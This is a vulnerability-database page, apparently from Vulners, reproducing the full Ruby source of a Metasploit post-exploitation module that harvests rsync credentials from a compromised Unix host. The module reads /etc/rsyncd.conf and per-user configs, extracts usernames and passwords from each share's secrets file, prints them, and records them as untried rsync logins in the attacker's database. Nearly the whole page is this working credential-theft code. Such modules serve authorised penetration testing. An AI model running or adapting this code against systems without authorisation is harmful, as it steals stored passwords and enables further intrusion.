Lucene search
+L

UNIX Gather RSYNC Credentials

🗓️ 20 Nov 2015 20:57:33Reported by Jon Hart <[email protected]>Type 
metasploit
 metasploit
🔗 www.rapid7.com👁 53 Views

UNIX Gather RSYNC Credentials. Post Module to obtain RSYNC credentials saved in various location

Code
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Post
  include Msf::Post::File
  include Msf::Post::Unix

  def initialize(info = {})
    super(
      update_info(
        info,
        'Name' => 'UNIX Gather RSYNC Credentials',
        'Description' => %q{
          Post Module to obtain credentials saved for RSYNC in various locations
        },
        'License' => MSF_LICENSE,
        'Author' => [ 'Jon Hart <jon_hart[at]rapid7.com>' ],
        'SessionTypes' => %w[shell]
      )
    )

    register_options(
      [
        OptString.new('USER_CONFIG', [
          false, 'Attempt to get passwords from this RSYNC ' \
          'configuration file relative to each local user\'s home directory.  Leave unset to disable.', 'rsyncd.conf'
        ])
      ]
    )
    register_advanced_options(
      [
        OptString.new('RSYNCD_CONFIG', [true, 'Path to rsyncd.conf', '/etc/rsyncd.conf'])
      ]
    )
  end

  def setup
    @user_config = datastore['USER_CONFIG'].blank? ? nil : datastore['USER_CONFIG']
  end

  def dump_rsync_secrets(config_file)
    vprint_status("Attempting to get RSYNC creds from #{config_file}")
    creds_table = Rex::Text::Table.new(
      'Header' => "RSYNC credentials from #{config_file}",
      'Columns' => %w[Username Password Module]
    )

    # read the rsync configuration file, extracting the 'secrets file'
    # directive for any rsync modules (shares) within
    rsync_config = Rex::Parser::Ini.new(config_file)
    # https://github.com/rapid7/metasploit-framework/issues/6265
    rsync_config.each_key do |rmodule|
      # XXX: Ini assumes anything on either side of the = is the key and value,
      # including spaces, so we need to fix this
      module_config = Hash[rsync_config[rmodule].map { |k, v| [ k.strip, v.strip ] }]
      next unless (secrets_file = module_config['secrets file'])

      read_file(secrets_file).split(/\n/).map do |line|
        next if line =~ /^#/

        if /^(?<user>[^:]+):(?<password>.*)$/ =~ line
          creds_table << [ user, password, rmodule ]
          report_rsync_cred(user, password, rmodule)
        end
      end
    end

    return if creds_table.rows.empty?

    print_line(creds_table.to_s)
  end

  def report_rsync_cred(user, password, rmodule)
    credential_data = {
      origin_type: :session,
      session_id: session_db_id,
      post_reference_name: refname,
      username: user,
      private_data: password,
      private_type: :password,
      realm_value: rmodule,
      # XXX: add to MDM?
      # realm_key: Metasploit::Model::Realm::Key::RSYNC_MODULE,
      workspace_id: myworkspace_id
    }
    credential_core = create_credential(credential_data)

    login_data = {
      address: session.session_host,
      # TODO: rsync is 99.9% of the time on 873/TCP, but can be configured differently with the
      # 'port' directive in the global part of the rsyncd configuration file.
      # Unfortunately, Rex::Parser::Ini does not support parsing this just yet
      port: 873,
      protocol: 'tcp',
      service_name: 'rsync',
      core: credential_core,
      access_level: 'User',
      status: Metasploit::Model::Login::Status::UNTRIED,
      workspace_id: myworkspace_id
    }
    create_credential_login(login_data)
  end

  def run
    # build up a list of rsync configuration files to read, including the
    # default location of the daemon config as well as any per-user
    # configuration files that may exist (rare)
    config_path = datastore['RSYNCD_CONFIG']
    config_files = Set.new([ config_path ])
    config_files |= enum_user_directories.map { |d| ::File.join(d, @user_config) } if @user_config
    config_files.map { |config_file| dump_rsync_secrets(config_file) }
  end
end

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

08 Feb 2023 13:47Current
6.9Medium risk
Vulners AI Score6.9
53